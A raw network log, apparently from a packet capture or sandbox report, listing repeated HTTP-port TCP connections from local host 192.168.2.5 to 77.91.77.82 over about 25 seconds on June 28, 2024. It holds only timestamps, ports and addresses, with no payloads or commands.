Jun 28, 2024 13:37:32.416934967 CEST	49789	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:32.420022011 CEST	49789	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:32.420361042 CEST	49790	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:32.425124884 CEST	80	49790	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:32.425229073 CEST	49790	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:32.425390959 CEST	80	49789	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:32.425458908 CEST	49790	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:32.425483942 CEST	49789	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:32.430695057 CEST	80	49790	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.100354910 CEST	80	49790	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.100423098 CEST	49790	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.215059042 CEST	49790	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.217837095 CEST	49791	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.220679045 CEST	80	49790	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.222510099 CEST	49790	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.222584963 CEST	80	49791	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.222690105 CEST	49791	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.223143101 CEST	49791	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.227930069 CEST	80	49791	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.916508913 CEST	80	49791	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.916599035 CEST	49791	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.920178890 CEST	49791	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.920495987 CEST	49792	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.926290035 CEST	80	49791	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.926362038 CEST	80	49792	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:33.926418066 CEST	49791	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.926453114 CEST	49792	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.926783085 CEST	49792	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:33.932079077 CEST	80	49792	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:34.704852104 CEST	80	49792	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:34.704941034 CEST	49792	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:34.820502043 CEST	49792	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:34.820621014 CEST	49793	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:34.825385094 CEST	80	49793	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:34.825594902 CEST	49793	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:34.825844049 CEST	49793	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:34.825855970 CEST	80	49792	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:34.825931072 CEST	49792	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:34.830529928 CEST	80	49793	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:35.492211103 CEST	80	49793	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:35.495973110 CEST	49793	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:35.499326944 CEST	49793	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:35.499567032 CEST	49794	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:35.504458904 CEST	80	49794	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:35.505127907 CEST	80	49793	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:35.505232096 CEST	49793	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:35.505245924 CEST	49794	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:35.505593061 CEST	49794	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:35.510581017 CEST	80	49794	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:36.179553986 CEST	80	49794	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:36.179804087 CEST	49794	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:36.303913116 CEST	49794	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:36.304291010 CEST	49795	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:36.309209108 CEST	80	49795	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:36.309551954 CEST	49795	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:36.309567928 CEST	80	49794	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:36.309631109 CEST	49794	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:36.309772968 CEST	49795	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:36.316638947 CEST	80	49795	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.022423029 CEST	80	49795	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.022490978 CEST	49795	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.026433945 CEST	49795	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.026777029 CEST	49796	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.031687021 CEST	80	49796	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.031697989 CEST	80	49795	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.031809092 CEST	49796	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.031832933 CEST	49795	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.032110929 CEST	49796	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.036906004 CEST	80	49796	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.713844061 CEST	80	49796	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.713963985 CEST	49796	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.835741997 CEST	49796	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.836090088 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.841367006 CEST	80	49796	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.841382980 CEST	80	49797	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:37.841437101 CEST	49796	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.841458082 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.841842890 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:37.846621990 CEST	80	49797	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:38.508395910 CEST	80	49797	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:38.508498907 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.527131081 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.532052040 CEST	80	49797	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:38.738950014 CEST	80	49797	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:38.739027023 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.851660013 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.852216005 CEST	49798	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.857198954 CEST	80	49797	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:38.857215881 CEST	80	49798	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:38.857278109 CEST	49797	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.857332945 CEST	49798	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.857585907 CEST	49798	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:38.862632990 CEST	80	49798	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:39.542751074 CEST	80	49798	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:39.542859077 CEST	49798	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:39.545851946 CEST	49798	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:39.546247005 CEST	49799	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:39.551105976 CEST	80	49798	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:39.551173925 CEST	80	49799	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:39.551194906 CEST	49798	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:39.551253080 CEST	49799	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:39.551528931 CEST	49799	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:39.556310892 CEST	80	49799	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:40.230091095 CEST	80	49799	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:40.230206013 CEST	49799	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:40.336313963 CEST	49799	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:40.336726904 CEST	49800	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:40.341567039 CEST	80	49800	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:40.341578960 CEST	80	49799	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:40.341665983 CEST	49799	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:40.341675043 CEST	49800	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:40.342000961 CEST	49800	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:40.346800089 CEST	80	49800	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.015491009 CEST	80	49800	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.015549898 CEST	49800	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.019037008 CEST	49800	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.019460917 CEST	49801	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.024321079 CEST	80	49800	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.024341106 CEST	80	49801	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.024374008 CEST	49800	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.024470091 CEST	49801	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.024657011 CEST	49801	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.029356956 CEST	80	49801	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.699634075 CEST	80	49801	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.700090885 CEST	49801	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.813723087 CEST	49801	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.814290047 CEST	49802	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.819111109 CEST	80	49802	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.819184065 CEST	49802	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.819211960 CEST	80	49801	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:41.819319010 CEST	49801	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.820101976 CEST	49802	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:41.824882030 CEST	80	49802	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:42.490950108 CEST	80	49802	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:42.491025925 CEST	49802	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:42.494004011 CEST	49802	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:42.494380951 CEST	49803	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:42.499228001 CEST	80	49803	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:42.499294996 CEST	49803	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:42.499556065 CEST	49803	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:42.500766993 CEST	80	49802	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:42.501080990 CEST	49802	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:42.504393101 CEST	80	49803	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.175333023 CEST	80	49803	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.175517082 CEST	49803	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.288434982 CEST	49803	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.288822889 CEST	49804	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.293500900 CEST	80	49803	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.293571949 CEST	80	49804	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.293623924 CEST	49803	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.293675900 CEST	49804	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.294007063 CEST	49804	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.298777103 CEST	80	49804	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.966715097 CEST	80	49804	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.966772079 CEST	49804	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.971220970 CEST	49804	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.972079992 CEST	49805	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.977010012 CEST	80	49804	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.977030993 CEST	80	49805	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:43.977086067 CEST	49804	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.977113008 CEST	49805	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.977374077 CEST	49805	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:43.982153893 CEST	80	49805	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:44.656997919 CEST	80	49805	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:44.659910917 CEST	49805	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:44.773526907 CEST	49805	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:44.773818970 CEST	49806	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:44.928345919 CEST	80	49806	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:44.928980112 CEST	80	49805	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:44.929255009 CEST	49805	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:44.929255009 CEST	49806	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:44.929445028 CEST	49806	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:44.934195995 CEST	80	49806	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:45.606591940 CEST	80	49806	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:45.606643915 CEST	49806	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:45.610030890 CEST	49806	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:45.610833883 CEST	49807	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:45.615850925 CEST	80	49806	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:45.615910053 CEST	49806	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:45.615922928 CEST	80	49807	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:45.615993023 CEST	49807	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:45.616535902 CEST	49807	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:45.621370077 CEST	80	49807	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:46.293112993 CEST	80	49807	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:46.293215990 CEST	49807	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:46.397449970 CEST	49807	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:46.397670031 CEST	49808	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:46.402597904 CEST	80	49807	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:46.402911901 CEST	80	49808	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:46.408016920 CEST	49808	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:46.408050060 CEST	49807	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:46.408153057 CEST	49808	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:46.412902117 CEST	80	49808	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:47.102197886 CEST	80	49808	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:47.102277994 CEST	49808	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:47.105362892 CEST	49808	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:47.105788946 CEST	49809	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:47.110591888 CEST	80	49808	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:47.110656977 CEST	49808	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:47.110784054 CEST	80	49809	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:47.111043930 CEST	49809	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:47.111257076 CEST	49809	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:47.116019011 CEST	80	49809	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:47.975287914 CEST	80	49809	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:47.975441933 CEST	49809	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:48.087558031 CEST	49809	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:48.088304043 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:48.093079090 CEST	80	49809	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:48.093105078 CEST	80	49810	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:48.093158007 CEST	49809	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:48.093189955 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:48.093655109 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:48.098570108 CEST	80	49810	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:49.528018951 CEST	80	49810	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:49.528095961 CEST	80	49810	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:49.528249979 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.528249979 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.528311968 CEST	80	49810	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:49.528393984 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.531241894 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.531580925 CEST	49811	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.537139893 CEST	80	49810	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:49.537152052 CEST	80	49811	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:49.537208080 CEST	49810	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.537236929 CEST	49811	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.537484884 CEST	49811	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:49.542941093 CEST	80	49811	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:50.228205919 CEST	80	49811	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:50.228281021 CEST	49811	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:50.336047888 CEST	49811	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:50.336432934 CEST	49812	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:50.344013929 CEST	80	49812	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:50.344115019 CEST	49812	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:50.344392061 CEST	49812	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:50.344614029 CEST	80	49811	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:50.344734907 CEST	49811	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:50.350208044 CEST	80	49812	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.036732912 CEST	80	49812	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.036788940 CEST	49812	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.043123007 CEST	49812	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.043530941 CEST	49813	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.051316977 CEST	80	49813	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.051523924 CEST	49813	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.051654100 CEST	80	49812	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.051891088 CEST	49812	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.056036949 CEST	49813	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.063956976 CEST	80	49813	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.729487896 CEST	80	49813	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.729546070 CEST	49813	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.835185051 CEST	49813	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.835522890 CEST	49814	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.843796015 CEST	80	49814	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.843914986 CEST	49814	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.844055891 CEST	49814	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.844738007 CEST	80	49813	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:51.844790936 CEST	49813	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:51.852287054 CEST	80	49814	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:52.526483059 CEST	80	49814	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:52.527944088 CEST	49814	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:52.530800104 CEST	49814	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:52.531207085 CEST	49815	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:52.537056923 CEST	80	49814	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:52.537201881 CEST	80	49815	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:52.537266970 CEST	49814	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:52.537314892 CEST	49815	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:52.537568092 CEST	49815	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:52.543874979 CEST	80	49815	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:53.209486961 CEST	80	49815	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:53.209738016 CEST	49815	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:53.319675922 CEST	49815	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:53.320070028 CEST	49816	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:53.324894905 CEST	80	49816	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:53.324942112 CEST	80	49815	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:53.325036049 CEST	49815	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:53.325036049 CEST	49816	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:53.325314999 CEST	49816	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:53.330064058 CEST	80	49816	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:54.204699993 CEST	80	49816	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:54.204797983 CEST	49816	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:54.208292961 CEST	80	49816	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:54.208681107 CEST	49816	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:54.208725929 CEST	49816	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:54.209002972 CEST	49817	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:54.213779926 CEST	80	49817	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:54.213929892 CEST	49817	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:54.214273930 CEST	80	49816	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:54.214292049 CEST	49817	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:54.214346886 CEST	49816	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:54.219053984 CEST	80	49817	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:54.888413906 CEST	80	49817	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:54.888499975 CEST	49817	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.007539034 CEST	49817	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.007882118 CEST	49818	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.012708902 CEST	80	49818	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.012794971 CEST	80	49817	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.012866020 CEST	49817	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.012880087 CEST	49818	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.013147116 CEST	49818	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.017971992 CEST	80	49818	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.020081997 CEST	49818	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.022979021 CEST	49819	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.028162956 CEST	80	49819	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.028294086 CEST	49819	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.028520107 CEST	49819	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.033373117 CEST	80	49819	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.702420950 CEST	80	49819	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.702516079 CEST	49819	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.820019960 CEST	49819	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.820343971 CEST	49820	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.825155020 CEST	80	49820	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.825225115 CEST	49820	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.825455904 CEST	49820	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.825486898 CEST	80	49819	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:55.825547934 CEST	49819	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:55.830176115 CEST	80	49820	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:56.495573997 CEST	80	49820	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:56.495666027 CEST	49820	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:56.498279095 CEST	49820	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:56.498605013 CEST	49821	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:56.503633022 CEST	80	49821	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:56.503726006 CEST	49821	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:56.503941059 CEST	49821	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:56.504184961 CEST	80	49820	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:56.507908106 CEST	49820	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:56.508820057 CEST	80	49821	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:57.193136930 CEST	80	49821	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:57.193237066 CEST	49821	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:57.307462931 CEST	49821	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:57.307786942 CEST	49822	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:57.312633991 CEST	80	49822	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:57.312711000 CEST	49822	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:37:57.312818050 CEST	80	49821	77.91.77.82	192.168.2.5
Jun 28, 2024 13:37:57.312849998 CEST	49822	80	192.168.2.5	77.91.77.82
